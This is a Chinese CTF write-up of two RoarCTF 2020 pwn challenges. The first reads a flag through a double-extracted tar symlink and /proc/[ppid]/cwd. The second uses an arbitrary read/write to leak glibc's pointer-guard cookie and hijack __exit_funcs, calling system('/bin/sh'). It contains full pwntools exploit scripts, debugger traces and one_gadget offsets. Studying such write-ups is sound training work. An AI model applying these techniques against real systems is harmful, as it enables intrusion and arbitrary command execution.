题目一:qtnc
题目描述
-
h:帮助功能,可以查看题目提供的命令
-
s:会打印工作目录
-
u:可以上传文件
-
c:将文件打包
-
x:解压压缩包
-
r:读文件内容
-
q:退出与打印提示
并且题目给了一个附件
#!/bin/bash
cd /home/ctf
stdbuf -i 0 -o 0 -e 0 /usr/bin/timeout 90 ./qtar
题目分析
/home/ctf/flag
,那么如果我们能读取该目录下flag
即可/
与home
是被过滤的,因此我们不能通过输入/home/ctf/flag
去读文件,但是程序存在着一个漏洞,当我们打包压缩一个文件时是可以重新命名的,但是程序不会检测你的命名是否有重名的文件,那么会造成重名文件会覆盖掉原来的文件漏洞利用
-
由于重名文件可以覆盖掉原来的文件,因此造成可以解压一个文件两次。
-
采用对软连接进行压缩上传,利用漏洞解压两次,从而释放软连接,进行任意文件读,但是题目过滤了
/home
,因此不能直接读取/home/ctf/flag
的内容 -
采取读取
/proc/self/status
获取父进程PPid
,从而绕过/home/ctf
,再利用/proc/[pid]/cwd/flag
,读取/home/ctf/flag
的内容
exp
#coding:utf8
from pwn import *
import os
sh = remote("127.0.0.1",9998)
def upload(content):
sh.sendlineafter(">","u")
sh.sendlineafter("Content:",content)
sh.recvuntil("/tmp/")
return sh.recvuntil("'",drop=True)
def compose(filename,name=''):
sh.sendlineafter(">","c")
sh.sendlineafter("/tmp/",filename)
if name == '':
sh.sendlineafter("file? [y/N]",'N')
else:
sh.sendlineafter("file? [y/N]",'y')
sh.sendlineafter("cname: ",name)
sh.recvuntil("ed as', '")
return sh.recvuntil("'",drop=True)
def extract(filename):
sh.sendlineafter(">","x")
sh.sendlineafter("Filename: ",filename)
def read(filename):
sh.sendlineafter(">","r")
sh.sendlineafter("Filename: ",filename)
def crash(filename):
os.popen("rm get")
os.popen("ln -s "+filename+" get")#建立软连接
os.popen("tar -cvpf get.tar get")#将软连接打包
read_file = open("get.tar","rb")
content = read_file.read()
read_file.close()
tar = upload(content)#上传软连接压缩包
print 'tar:'+tar
replace = upload("aaaa")#准备替换重名文件
print 'replace:'+replace
replace_name = compose(replace)
target = compose(tar,replace_name)
extract(target)
extract(replace_name)
compose(tar,'get')#释放软连接
read('get')#cat /proc/self/status or cat /proc/ppid/cwd/flag
crash('/proc/self/status')
sh.recvuntil("PPid:")
ppid = sh.recvuntil("n",drop=True)
print 'ppid:'+ppid
crash('/proc/'+ppid.strip()+'/cwd/flag')
sh.interactive()
补充资料
Linux /proc/pid
/proc/pid/cmdline 用于开始进程的命令
/proc/pid/cwd 当前进程工作目录的一个链接
/proc/pid/environ 可用进程环境变量的列表
/proc/pid/exe 正在进程中运行的程序链接
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
/proc/pid/mem 进程在内存中的内容
/proc/pid/stat 进程的状态信息
/proc/pid/statm 进程的内存使用信息。
软连接(符号连接)
ln -s old.file soft.linkln -s old.dir soft.link.dir
题目二:2+1
题目描述
保护全开
libc基地址
,并且可以提供读写功能,即程序存在任意地址读写的漏洞,查阅发现为libc2.23
题目分析
题目的符号被去除,但是能还原一些基本的函数,可以看到与猜测一样,程序存在任意地址读写的漏洞,可以读写一次
malloc_hook
作为例子,假设我们任意地址写的地址填的是malloc_hook
的地址,会发现malloc_hook
里填入的是堆块的地址,而该堆块的内容为我们输入的内容。调试过程
__exit_funcs
中,可以发现后面的调用会将__exit_funcs
作为参数exit_funcs
的内容是否为空,不为空则堆内容进行引用 #此时r13存放是我们输入内容的堆块
► 0x7f4eec861f40 <__run_exit_handlers+32> mov rax, qword ptr [r13 + 8]
0x7f4eec861f44 <__run_exit_handlers+36> mov rdx, rax
#对我们输入的数字进行扩大0x20倍处理
0x7f4eec861f47 <__run_exit_handlers+39> shl rdx, 5
#由于需要绕过跳转,因此rax的值不能为0即可,rax存放在[r13+8],即[heap+8]不能为0
0x7f4eec861f4b <__run_exit_handlers+43> test rax, rax
#接着取[heap+rdx-0x10]的地址,rdx的值为[heap+8]的值*0x20
0x7f4eec861f4e <__run_exit_handlers+46> lea rcx, [r13 + rdx - 0x10]
0x7f4eec861f53 <__run_exit_handlers+51> je __run_exit_handlers+95 <0x7f4eec861f7f>
分支一
► 0x7f5330426f55 <__run_exit_handlers+53> sub rax, 1
0x7f5330426f59 <__run_exit_handlers+57> mov qword ptr [r13 + 8], rax
#[rcx]为[heap+rdx-0x10]的值,rdx为[heap+0x8]的值*0x20,因此[rcx]是我们所能控制的,只要我们设置[heap+0x8]为1,则rdx的值则为[heap+0x10]
0x7f5330426f5d <__run_exit_handlers+61> mov rdx, qword ptr [rcx]
0x7f5330426f60 <__run_exit_handlers+64> cmp rdx, 3
0x7f5330426f64 <__run_exit_handlers+68> je __run_exit_handlers+240 <0x7f5330427010>
#此时rax值为0
► 0x7f1697259010 <__run_exit_handlers+240> shl rax, 5
#r13为堆块地址,即将[heap+0x18]放置到rax
0x7f1697259014 <__run_exit_handlers+244> mov rax, qword ptr [r13 + rax + 0x18]
#将rax循环右移0x11
0x7f1697259019 <__run_exit_handlers+249> ror rax, 0x11
#取出fs:[0x30]的值,对循环右移的结果进行异或
0x7f169725901d <__run_exit_handlers+253> xor rax, qword ptr fs:[0x30]
#直接调用rax
0x7f1697259026 <__run_exit_handlers+262> call rax
分支二
0x7efed349bf6a <__run_exit_handlers+74> cmp rdx, 4
0x7efed349bf6e <__run_exit_handlers+78> je __run_exit_handlers+200
#此时rax只为0
0x7efed349bfe8 <__run_exit_handlers+200> shl rax, 5
0x7efed349bfec <__run_exit_handlers+204> mov esi, ebx
#r13为堆块的地址
0x7efed349bfee <__run_exit_handlers+206> add rax, r13
#rdx为[heap+0x18]
#rdi为[heap+0x20]
► 0x7efed349bff1 <__run_exit_handlers+209> mov rdx, qword ptr [rax + 0x18]
0x7efed349bff5 <__run_exit_handlers+213> mov rdi, qword ptr [rax + 0x20]
#与分支一操作一致,都是循环有异后异或
0x7efed349bff9 <__run_exit_handlers+217> ror rdx, 0x11
0x7efed349bffd <__run_exit_handlers+221> xor rdx, qword ptr fs:[0x30]
0x7efed349c006 <__run_exit_handlers+230> call rdx
分支三
► 0x7fa257b2ff70 <__run_exit_handlers+80> cmp rdx, 2
0x7fa257b2ff74 <__run_exit_handlers+84> je __run_exit_handlers+160 <0x7fa257b2ffc0>
#此时rax值为0
0x7fa257b2ffc0 <__run_exit_handlers+160> shl rax, 5
0x7fa257b2ffc4 <__run_exit_handlers+164> mov edi, ebx
#r13为堆块地址
0x7fa257b2ffc6 <__run_exit_handlers+166> add rax, r13
#rdx为[heap+0x18]
#rsi为[heap+0x20]
► 0x7fa257b2ffc9 <__run_exit_handlers+169> mov rdx, qword ptr [rax + 0x18]
0x7fa257b2ffcd <__run_exit_handlers+173> mov rsi, qword ptr [rax + 0x20]
#与分支一操作一致,都是循环有异后异或
0x7fa257b2ffd1 <__run_exit_handlers+177> ror rdx, 0x11
0x7fa257b2ffd5 <__run_exit_handlers+181> xor rdx, qword ptr fs:[0x30]
0x7fa257b2ffde <__run_exit_handlers+190> call rdx
漏洞利用
-
程序存在任意地址读写的漏洞,但是写入时是先将堆块地址写入到我们填入的地址中,因此想要引用我们写入的内容,需要找到两次引用的
gadget
-
经过调试发现在
exit
内部存在着_exit_funcs
,当_exit_funcs
不为空时,并满足一些条件时,会调用_exit_funcs
的内容。 -
接着绕过条件,从而能够达到分支二,从而调用我们输入的内容。
-
这里需要知道fs寄存器的地址,在
pwndbg
中使用fsbase
命令可以知道tls
结构体的位置 -
接着将
system
函数的地址先循环左移0x11
再异或随机值即可
exp
#coding:utf8
from pwn import *
libc = ELF("libc.so.6")
sh = process("./2+1")
#循环右移
def ROL(addr, offset):
data = 0xffffffffffffffff&addr
data = (0xffffffffffffffff&(data>>(64-offset))) | 0xffffffffffffffff&((data<<offset))
return data
sh.recvuntil("Gift: ")
addr = int(sh.recv(14),16)
print 'addr:'+hex(addr)
libc_base = addr - 0xcc280
print 'libc_base:'+hex(libc_base)
exit_fun = libc_base + 0x3c45f8
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search("/bin/sh"))
sh.recvuntil("to read?:")
#fsbase
sh.send(p64(libc_base+0x5d5730))
sh.recvuntil("data: ")
#fs:[0x30]里的值
cookie = u64(sh.recv(8))
print 'cookie:'+hex(cookie)
gdb.attach(sh,"b *$rebase(0x1341)")
sh.recvuntil("to write?:")
#_exit_funcs函数地址
sh.send(p64(exit_fun))
sh.recvuntil("msg: ")
one_gadget = libc_base + 0xf1207
#利用分支二调用system("/bin/sh")
payload = p64(0)+p64(1)+p64(4)+p64(ROL((system^cookie),0x11))+p64(binsh)
#利用分支一调用one_gadget发现不满足
#payload = p64(0)+p64(1)+p64(3)+p64(ROL(one_gadget^cookie,0x11))
sh.send(payload)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
sh.interactive()
参考
-
http://taqini.space/2020/12/07/roarctf2020-2taqini-pwn-wp/#qtar
-
https://blog.csdn.net/fybon/article/details/79799446
-
https://www.linuxprobe.com/soft-hard-links-comments.html
-
https://blog.csdn.net/kang___xi/article/details/80545510
本文始发于微信公众号(山石网科安全技术研究院):PWN盲打与保护全开的解题思路-ROARCTF 2020
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论